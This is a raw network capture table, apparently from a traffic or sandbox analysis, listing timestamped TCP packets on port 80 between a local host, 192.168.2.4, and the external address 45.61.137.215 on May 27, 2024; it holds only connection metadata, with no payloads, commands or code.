May 27, 2024 08:32:17.245717049 CEST	80	49742	45.61.137.215	192.168.2.4
May 27, 2024 08:32:17.245744944 CEST	49742	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:17.245762110 CEST	49742	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:17.245769978 CEST	80	49742	45.61.137.215	192.168.2.4
May 27, 2024 08:32:17.245861053 CEST	49742	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:17.384193897 CEST	49745	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:17.389517069 CEST	80	49745	45.61.137.215	192.168.2.4
May 27, 2024 08:32:17.389612913 CEST	49745	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:17.391921043 CEST	49745	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:17.396998882 CEST	80	49745	45.61.137.215	192.168.2.4
May 27, 2024 08:32:17.397069931 CEST	49745	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:17.402527094 CEST	80	49745	45.61.137.215	192.168.2.4
May 27, 2024 08:32:19.619703054 CEST	80	49745	45.61.137.215	192.168.2.4
May 27, 2024 08:32:19.619755030 CEST	80	49745	45.61.137.215	192.168.2.4
May 27, 2024 08:32:19.619787931 CEST	80	49745	45.61.137.215	192.168.2.4
May 27, 2024 08:32:19.619818926 CEST	80	49745	45.61.137.215	192.168.2.4
May 27, 2024 08:32:19.619842052 CEST	49745	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:19.619853020 CEST	80	49745	45.61.137.215	192.168.2.4
May 27, 2024 08:32:19.619929075 CEST	49745	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:19.619991064 CEST	49745	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:19.620021105 CEST	80	49745	45.61.137.215	192.168.2.4
May 27, 2024 08:32:19.620078087 CEST	80	49745	45.61.137.215	192.168.2.4
May 27, 2024 08:32:19.620079041 CEST	49745	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:19.620125055 CEST	49745	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:19.620126009 CEST	80	49745	45.61.137.215	192.168.2.4
May 27, 2024 08:32:19.620160103 CEST	80	49745	45.61.137.215	192.168.2.4
May 27, 2024 08:32:19.620178938 CEST	49745	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:19.620192051 CEST	80	49745	45.61.137.215	192.168.2.4
May 27, 2024 08:32:19.620219946 CEST	49745	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:19.620250940 CEST	49745	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:19.624820948 CEST	80	49745	45.61.137.215	192.168.2.4
May 27, 2024 08:32:19.624855042 CEST	80	49745	45.61.137.215	192.168.2.4
May 27, 2024 08:32:19.624880075 CEST	49745	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:19.624903917 CEST	49745	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:19.865375042 CEST	49749	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:19.870580912 CEST	80	49749	45.61.137.215	192.168.2.4
May 27, 2024 08:32:19.870655060 CEST	49749	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:19.874041080 CEST	49749	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:19.879241943 CEST	80	49749	45.61.137.215	192.168.2.4
May 27, 2024 08:32:19.879292011 CEST	49749	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:19.884160995 CEST	80	49749	45.61.137.215	192.168.2.4
May 27, 2024 08:32:22.064448118 CEST	80	49749	45.61.137.215	192.168.2.4
May 27, 2024 08:32:22.064482927 CEST	80	49749	45.61.137.215	192.168.2.4
May 27, 2024 08:32:22.064497948 CEST	80	49749	45.61.137.215	192.168.2.4
May 27, 2024 08:32:22.064508915 CEST	80	49749	45.61.137.215	192.168.2.4
May 27, 2024 08:32:22.064517975 CEST	80	49749	45.61.137.215	192.168.2.4
May 27, 2024 08:32:22.064528942 CEST	80	49749	45.61.137.215	192.168.2.4
May 27, 2024 08:32:22.064552069 CEST	49749	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:22.064569950 CEST	80	49749	45.61.137.215	192.168.2.4
May 27, 2024 08:32:22.064585924 CEST	49749	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:22.064593077 CEST	49749	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:22.064618111 CEST	80	49749	45.61.137.215	192.168.2.4
May 27, 2024 08:32:22.064627886 CEST	80	49749	45.61.137.215	192.168.2.4
May 27, 2024 08:32:22.064636946 CEST	80	49749	45.61.137.215	192.168.2.4
May 27, 2024 08:32:22.064657927 CEST	49749	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:22.064670086 CEST	49749	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:22.064714909 CEST	49749	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:22.069479942 CEST	80	49749	45.61.137.215	192.168.2.4
May 27, 2024 08:32:22.069490910 CEST	80	49749	45.61.137.215	192.168.2.4
May 27, 2024 08:32:22.069499969 CEST	80	49749	45.61.137.215	192.168.2.4
May 27, 2024 08:32:22.069536924 CEST	80	49749	45.61.137.215	192.168.2.4
May 27, 2024 08:32:22.069678068 CEST	49749	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:22.070355892 CEST	80	49749	45.61.137.215	192.168.2.4
May 27, 2024 08:32:22.070410967 CEST	49749	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:22.285722017 CEST	49751	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:22.290745020 CEST	80	49751	45.61.137.215	192.168.2.4
May 27, 2024 08:32:22.290844917 CEST	49751	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:22.292984009 CEST	49751	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:22.297885895 CEST	80	49751	45.61.137.215	192.168.2.4
May 27, 2024 08:32:22.297985077 CEST	49751	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:22.302855015 CEST	80	49751	45.61.137.215	192.168.2.4
May 27, 2024 08:32:24.463984966 CEST	80	49751	45.61.137.215	192.168.2.4
May 27, 2024 08:32:24.463994980 CEST	80	49751	45.61.137.215	192.168.2.4
May 27, 2024 08:32:24.464036942 CEST	80	49751	45.61.137.215	192.168.2.4
May 27, 2024 08:32:24.464056015 CEST	80	49751	45.61.137.215	192.168.2.4
May 27, 2024 08:32:24.464066982 CEST	80	49751	45.61.137.215	192.168.2.4
May 27, 2024 08:32:24.464122057 CEST	80	49751	45.61.137.215	192.168.2.4
May 27, 2024 08:32:24.464123964 CEST	49751	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:24.464132071 CEST	80	49751	45.61.137.215	192.168.2.4
May 27, 2024 08:32:24.464143038 CEST	80	49751	45.61.137.215	192.168.2.4
May 27, 2024 08:32:24.464150906 CEST	49751	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:24.464150906 CEST	49751	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:24.464184999 CEST	49751	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:24.464209080 CEST	49751	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:24.464265108 CEST	80	49751	45.61.137.215	192.168.2.4
May 27, 2024 08:32:24.464282990 CEST	80	49751	45.61.137.215	192.168.2.4
May 27, 2024 08:32:24.464313030 CEST	49751	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:24.464334965 CEST	49751	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:24.469099998 CEST	80	49751	45.61.137.215	192.168.2.4
May 27, 2024 08:32:24.469147921 CEST	80	49751	45.61.137.215	192.168.2.4
May 27, 2024 08:32:24.469151020 CEST	49751	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:24.469158888 CEST	80	49751	45.61.137.215	192.168.2.4
May 27, 2024 08:32:24.469191074 CEST	49751	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:24.469217062 CEST	49751	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:24.612879992 CEST	49752	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:24.617943048 CEST	80	49752	45.61.137.215	192.168.2.4
May 27, 2024 08:32:24.618057966 CEST	49752	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:24.621009111 CEST	49752	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:24.625994921 CEST	80	49752	45.61.137.215	192.168.2.4
May 27, 2024 08:32:24.626135111 CEST	49752	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:24.631699085 CEST	80	49752	45.61.137.215	192.168.2.4
May 27, 2024 08:32:26.752924919 CEST	80	49752	45.61.137.215	192.168.2.4
May 27, 2024 08:32:26.752981901 CEST	80	49752	45.61.137.215	192.168.2.4
May 27, 2024 08:32:26.753010035 CEST	80	49752	45.61.137.215	192.168.2.4
May 27, 2024 08:32:26.753041029 CEST	80	49752	45.61.137.215	192.168.2.4
May 27, 2024 08:32:26.753091097 CEST	80	49752	45.61.137.215	192.168.2.4
May 27, 2024 08:32:26.753124952 CEST	80	49752	45.61.137.215	192.168.2.4
May 27, 2024 08:32:26.753146887 CEST	49752	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:26.753155947 CEST	80	49752	45.61.137.215	192.168.2.4
May 27, 2024 08:32:26.753146887 CEST	49752	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:26.753190994 CEST	80	49752	45.61.137.215	192.168.2.4
May 27, 2024 08:32:26.753216028 CEST	49752	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:26.753216028 CEST	49752	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:26.753216028 CEST	49752	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:26.753225088 CEST	80	49752	45.61.137.215	192.168.2.4
May 27, 2024 08:32:26.753248930 CEST	49752	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:26.753268003 CEST	49752	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:26.753573895 CEST	80	49752	45.61.137.215	192.168.2.4
May 27, 2024 08:32:26.753634930 CEST	49752	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:26.758536100 CEST	80	49752	45.61.137.215	192.168.2.4
May 27, 2024 08:32:26.758570910 CEST	80	49752	45.61.137.215	192.168.2.4
May 27, 2024 08:32:26.758604050 CEST	80	49752	45.61.137.215	192.168.2.4
May 27, 2024 08:32:26.758615017 CEST	49752	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:26.758639097 CEST	80	49752	45.61.137.215	192.168.2.4
May 27, 2024 08:32:26.758642912 CEST	49752	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:26.758697033 CEST	49752	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:26.758718967 CEST	49752	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:26.892440081 CEST	49753	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:26.897547007 CEST	80	49753	45.61.137.215	192.168.2.4
May 27, 2024 08:32:26.904611111 CEST	49753	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:26.906514883 CEST	49753	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:26.911433935 CEST	80	49753	45.61.137.215	192.168.2.4
May 27, 2024 08:32:26.911513090 CEST	49753	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:26.916441917 CEST	80	49753	45.61.137.215	192.168.2.4
May 27, 2024 08:32:29.290330887 CEST	80	49753	45.61.137.215	192.168.2.4
May 27, 2024 08:32:29.290360928 CEST	80	49753	45.61.137.215	192.168.2.4
May 27, 2024 08:32:29.290383101 CEST	80	49753	45.61.137.215	192.168.2.4
May 27, 2024 08:32:29.290394068 CEST	80	49753	45.61.137.215	192.168.2.4
May 27, 2024 08:32:29.290402889 CEST	80	49753	45.61.137.215	192.168.2.4
May 27, 2024 08:32:29.290467978 CEST	80	49753	45.61.137.215	192.168.2.4
May 27, 2024 08:32:29.290690899 CEST	80	49753	45.61.137.215	192.168.2.4
May 27, 2024 08:32:29.290707111 CEST	80	49753	45.61.137.215	192.168.2.4
May 27, 2024 08:32:29.290720940 CEST	80	49753	45.61.137.215	192.168.2.4
May 27, 2024 08:32:29.290735006 CEST	49753	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:29.290735960 CEST	49753	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:29.290735960 CEST	49753	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:29.290735960 CEST	49753	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:29.290831089 CEST	49753	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:29.290831089 CEST	49753	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:29.290915012 CEST	80	49753	45.61.137.215	192.168.2.4
May 27, 2024 08:32:29.290963888 CEST	49753	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:29.290965080 CEST	49753	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:29.295722961 CEST	80	49753	45.61.137.215	192.168.2.4
May 27, 2024 08:32:29.295766115 CEST	80	49753	45.61.137.215	192.168.2.4
May 27, 2024 08:32:29.295787096 CEST	49753	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:29.295820951 CEST	49753	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:29.296118021 CEST	80	49753	45.61.137.215	192.168.2.4
May 27, 2024 08:32:29.296140909 CEST	80	49753	45.61.137.215	192.168.2.4
May 27, 2024 08:32:29.296175003 CEST	49753	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:29.296206951 CEST	49753	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:29.440627098 CEST	49754	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:29.445776939 CEST	80	49754	45.61.137.215	192.168.2.4
May 27, 2024 08:32:29.445898056 CEST	49754	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:29.447879076 CEST	49754	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:29.457741976 CEST	80	49754	45.61.137.215	192.168.2.4
May 27, 2024 08:32:29.457859993 CEST	49754	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:29.463154078 CEST	80	49754	45.61.137.215	192.168.2.4
May 27, 2024 08:32:31.799910069 CEST	80	49754	45.61.137.215	192.168.2.4
May 27, 2024 08:32:31.799923897 CEST	80	49754	45.61.137.215	192.168.2.4
May 27, 2024 08:32:31.799933910 CEST	80	49754	45.61.137.215	192.168.2.4
May 27, 2024 08:32:31.799946070 CEST	80	49754	45.61.137.215	192.168.2.4
May 27, 2024 08:32:31.799957991 CEST	80	49754	45.61.137.215	192.168.2.4
May 27, 2024 08:32:31.799968004 CEST	80	49754	45.61.137.215	192.168.2.4
May 27, 2024 08:32:31.800026894 CEST	80	49754	45.61.137.215	192.168.2.4
May 27, 2024 08:32:31.800036907 CEST	80	49754	45.61.137.215	192.168.2.4
May 27, 2024 08:32:31.800060034 CEST	80	49754	45.61.137.215	192.168.2.4
May 27, 2024 08:32:31.800070047 CEST	80	49754	45.61.137.215	192.168.2.4
May 27, 2024 08:32:31.800131083 CEST	49754	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:31.800132036 CEST	49754	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:31.800132036 CEST	49754	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:31.800132036 CEST	49754	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:31.800534010 CEST	80	49754	45.61.137.215	192.168.2.4
May 27, 2024 08:32:31.808970928 CEST	80	49754	45.61.137.215	192.168.2.4
May 27, 2024 08:32:31.809017897 CEST	80	49754	45.61.137.215	192.168.2.4
May 27, 2024 08:32:31.809031963 CEST	80	49754	45.61.137.215	192.168.2.4
May 27, 2024 08:32:31.809051991 CEST	49754	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:31.809092999 CEST	49754	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:31.809333086 CEST	80	49754	45.61.137.215	192.168.2.4
May 27, 2024 08:32:31.809345007 CEST	80	49754	45.61.137.215	192.168.2.4
May 27, 2024 08:32:31.809355021 CEST	80	49754	45.61.137.215	192.168.2.4
May 27, 2024 08:32:31.809365034 CEST	80	49754	45.61.137.215	192.168.2.4
May 27, 2024 08:32:31.809395075 CEST	49754	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:31.809427977 CEST	49754	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:31.810158014 CEST	80	49754	45.61.137.215	192.168.2.4
May 27, 2024 08:32:31.810215950 CEST	80	49754	45.61.137.215	192.168.2.4
May 27, 2024 08:32:31.810228109 CEST	80	49754	45.61.137.215	192.168.2.4
May 27, 2024 08:32:31.810239077 CEST	80	49754	45.61.137.215	192.168.2.4
May 27, 2024 08:32:31.810272932 CEST	49754	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:31.810302973 CEST	49754	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:31.811113119 CEST	80	49754	45.61.137.215	192.168.2.4
May 27, 2024 08:32:31.811156034 CEST	80	49754	45.61.137.215	192.168.2.4
May 27, 2024 08:32:31.811167002 CEST	80	49754	45.61.137.215	192.168.2.4
May 27, 2024 08:32:31.811177969 CEST	80	49754	45.61.137.215	192.168.2.4
May 27, 2024 08:32:31.811230898 CEST	49754	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:31.811260939 CEST	49754	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:31.812043905 CEST	80	49754	45.61.137.215	192.168.2.4
May 27, 2024 08:32:31.812113047 CEST	49754	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:33.788688898 CEST	49754	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:33.957058907 CEST	49755	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:33.961992979 CEST	80	49755	45.61.137.215	192.168.2.4
May 27, 2024 08:32:33.962080956 CEST	49755	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:33.963829041 CEST	49755	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:33.968843937 CEST	80	49755	45.61.137.215	192.168.2.4
May 27, 2024 08:32:33.968913078 CEST	49755	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:33.974040031 CEST	80	49755	45.61.137.215	192.168.2.4
May 27, 2024 08:32:36.116638899 CEST	80	49755	45.61.137.215	192.168.2.4
May 27, 2024 08:32:36.116667986 CEST	80	49755	45.61.137.215	192.168.2.4
May 27, 2024 08:32:36.116688013 CEST	80	49755	45.61.137.215	192.168.2.4
May 27, 2024 08:32:36.116697073 CEST	80	49755	45.61.137.215	192.168.2.4
May 27, 2024 08:32:36.116714954 CEST	80	49755	45.61.137.215	192.168.2.4
May 27, 2024 08:32:36.116727114 CEST	80	49755	45.61.137.215	192.168.2.4
May 27, 2024 08:32:36.116754055 CEST	49755	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:36.116815090 CEST	49755	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:36.116841078 CEST	80	49755	45.61.137.215	192.168.2.4
May 27, 2024 08:32:36.116872072 CEST	49755	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:36.116894960 CEST	80	49755	45.61.137.215	192.168.2.4
May 27, 2024 08:32:36.116913080 CEST	80	49755	45.61.137.215	192.168.2.4
May 27, 2024 08:32:36.116916895 CEST	49755	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:36.116959095 CEST	49755	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:36.116959095 CEST	49755	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:36.117075920 CEST	80	49755	45.61.137.215	192.168.2.4
May 27, 2024 08:32:36.117433071 CEST	49755	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:36.121659994 CEST	80	49755	45.61.137.215	192.168.2.4
May 27, 2024 08:32:36.121685982 CEST	80	49755	45.61.137.215	192.168.2.4
May 27, 2024 08:32:36.121696949 CEST	80	49755	45.61.137.215	192.168.2.4
May 27, 2024 08:32:36.121721029 CEST	80	49755	45.61.137.215	192.168.2.4
May 27, 2024 08:32:36.121741056 CEST	49755	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:36.121794939 CEST	49755	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:36.435143948 CEST	49756	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:36.440584898 CEST	80	49756	45.61.137.215	192.168.2.4
May 27, 2024 08:32:36.440694094 CEST	49756	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:36.447382927 CEST	49756	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:36.452384949 CEST	80	49756	45.61.137.215	192.168.2.4
May 27, 2024 08:32:36.452461958 CEST	49756	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:36.457323074 CEST	80	49756	45.61.137.215	192.168.2.4
May 27, 2024 08:32:38.642236948 CEST	80	49756	45.61.137.215	192.168.2.4
May 27, 2024 08:32:38.642363071 CEST	80	49756	45.61.137.215	192.168.2.4
May 27, 2024 08:32:38.642414093 CEST	80	49756	45.61.137.215	192.168.2.4
May 27, 2024 08:32:38.642420053 CEST	49756	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:38.642448902 CEST	80	49756	45.61.137.215	192.168.2.4
May 27, 2024 08:32:38.642498970 CEST	80	49756	45.61.137.215	192.168.2.4
May 27, 2024 08:32:38.642510891 CEST	49756	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:38.642538071 CEST	80	49756	45.61.137.215	192.168.2.4
May 27, 2024 08:32:38.642558098 CEST	49756	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:38.642571926 CEST	80	49756	45.61.137.215	192.168.2.4
May 27, 2024 08:32:38.642591000 CEST	49756	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:38.642616987 CEST	49756	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:38.642622948 CEST	80	49756	45.61.137.215	192.168.2.4
May 27, 2024 08:32:38.642656088 CEST	80	49756	45.61.137.215	192.168.2.4
May 27, 2024 08:32:38.642668009 CEST	49756	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:38.642692089 CEST	80	49756	45.61.137.215	192.168.2.4
May 27, 2024 08:32:38.642700911 CEST	49756	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:38.642738104 CEST	49756	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:38.647547007 CEST	80	49756	45.61.137.215	192.168.2.4
May 27, 2024 08:32:38.647608042 CEST	80	49756	45.61.137.215	192.168.2.4
May 27, 2024 08:32:38.647608995 CEST	49756	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:38.647641897 CEST	80	49756	45.61.137.215	192.168.2.4
May 27, 2024 08:32:38.647655964 CEST	49756	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:38.647695065 CEST	49756	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:38.785265923 CEST	49757	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:38.790199041 CEST	80	49757	45.61.137.215	192.168.2.4
May 27, 2024 08:32:38.790344000 CEST	49757	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:38.792072058 CEST	49757	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:38.796987057 CEST	80	49757	45.61.137.215	192.168.2.4
May 27, 2024 08:32:38.797053099 CEST	49757	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:38.802124977 CEST	80	49757	45.61.137.215	192.168.2.4
May 27, 2024 08:32:40.933995962 CEST	80	49757	45.61.137.215	192.168.2.4
May 27, 2024 08:32:40.934026957 CEST	80	49757	45.61.137.215	192.168.2.4
May 27, 2024 08:32:40.934077024 CEST	80	49757	45.61.137.215	192.168.2.4
May 27, 2024 08:32:40.934079885 CEST	49757	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:40.934111118 CEST	80	49757	45.61.137.215	192.168.2.4
May 27, 2024 08:32:40.934144020 CEST	80	49757	45.61.137.215	192.168.2.4
May 27, 2024 08:32:40.934156895 CEST	49757	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:40.934178114 CEST	80	49757	45.61.137.215	192.168.2.4
May 27, 2024 08:32:40.934221983 CEST	49757	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:40.934228897 CEST	80	49757	45.61.137.215	192.168.2.4
May 27, 2024 08:32:40.934262037 CEST	80	49757	45.61.137.215	192.168.2.4
May 27, 2024 08:32:40.934292078 CEST	80	49757	45.61.137.215	192.168.2.4
May 27, 2024 08:32:40.934304953 CEST	49757	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:40.934325933 CEST	80	49757	45.61.137.215	192.168.2.4
May 27, 2024 08:32:40.934374094 CEST	49757	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:40.939414978 CEST	80	49757	45.61.137.215	192.168.2.4
May 27, 2024 08:32:40.939487934 CEST	80	49757	45.61.137.215	192.168.2.4
May 27, 2024 08:32:40.939518929 CEST	80	49757	45.61.137.215	192.168.2.4
May 27, 2024 08:32:40.939538002 CEST	49757	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:40.939552069 CEST	80	49757	45.61.137.215	192.168.2.4
May 27, 2024 08:32:40.939598083 CEST	49757	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:40.964314938 CEST	49757	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:41.215578079 CEST	49758	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:41.220592022 CEST	80	49758	45.61.137.215	192.168.2.4
May 27, 2024 08:32:41.220684052 CEST	49758	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:41.223818064 CEST	49758	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:41.229809046 CEST	80	49758	45.61.137.215	192.168.2.4
May 27, 2024 08:32:41.229871035 CEST	49758	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:41.235431910 CEST	80	49758	45.61.137.215	192.168.2.4
May 27, 2024 08:32:43.330020905 CEST	80	49758	45.61.137.215	192.168.2.4
May 27, 2024 08:32:43.330095053 CEST	80	49758	45.61.137.215	192.168.2.4
May 27, 2024 08:32:43.330162048 CEST	49758	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:43.330239058 CEST	49758	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:43.330244064 CEST	80	49758	45.61.137.215	192.168.2.4
May 27, 2024 08:32:43.330296040 CEST	80	49758	45.61.137.215	192.168.2.4
May 27, 2024 08:32:43.330306053 CEST	49758	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:43.330357075 CEST	49758	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:43.330379009 CEST	80	49758	45.61.137.215	192.168.2.4
May 27, 2024 08:32:43.330410957 CEST	80	49758	45.61.137.215	192.168.2.4
May 27, 2024 08:32:43.330427885 CEST	49758	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:43.330445051 CEST	80	49758	45.61.137.215	192.168.2.4
May 27, 2024 08:32:43.330456972 CEST	49758	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:43.330475092 CEST	80	49758	45.61.137.215	192.168.2.4
May 27, 2024 08:32:43.330497026 CEST	49758	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:43.330521107 CEST	80	49758	45.61.137.215	192.168.2.4
May 27, 2024 08:32:43.330522060 CEST	49758	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:43.330554008 CEST	80	49758	45.61.137.215	192.168.2.4
May 27, 2024 08:32:43.330568075 CEST	49758	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:43.330599070 CEST	49758	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:43.335464001 CEST	80	49758	45.61.137.215	192.168.2.4
May 27, 2024 08:32:43.335566044 CEST	80	49758	45.61.137.215	192.168.2.4
May 27, 2024 08:32:43.335571051 CEST	49758	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:43.335597992 CEST	80	49758	45.61.137.215	192.168.2.4
May 27, 2024 08:32:43.335613012 CEST	49758	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:43.335633993 CEST	80	49758	45.61.137.215	192.168.2.4
May 27, 2024 08:32:43.335650921 CEST	49758	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:43.335688114 CEST	49758	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:43.482501984 CEST	49759	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:43.487441063 CEST	80	49759	45.61.137.215	192.168.2.4
May 27, 2024 08:32:43.487550974 CEST	49759	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:43.490499020 CEST	49759	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:43.495374918 CEST	80	49759	45.61.137.215	192.168.2.4
May 27, 2024 08:32:43.495484114 CEST	49759	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:43.500395060 CEST	80	49759	45.61.137.215	192.168.2.4
May 27, 2024 08:32:45.589375973 CEST	80	49759	45.61.137.215	192.168.2.4
May 27, 2024 08:32:45.589411020 CEST	80	49759	45.61.137.215	192.168.2.4
May 27, 2024 08:32:45.589467049 CEST	80	49759	45.61.137.215	192.168.2.4
May 27, 2024 08:32:45.589510918 CEST	49759	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:45.589519024 CEST	80	49759	45.61.137.215	192.168.2.4
May 27, 2024 08:32:45.589553118 CEST	80	49759	45.61.137.215	192.168.2.4
May 27, 2024 08:32:45.589576960 CEST	49759	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:45.589586973 CEST	80	49759	45.61.137.215	192.168.2.4
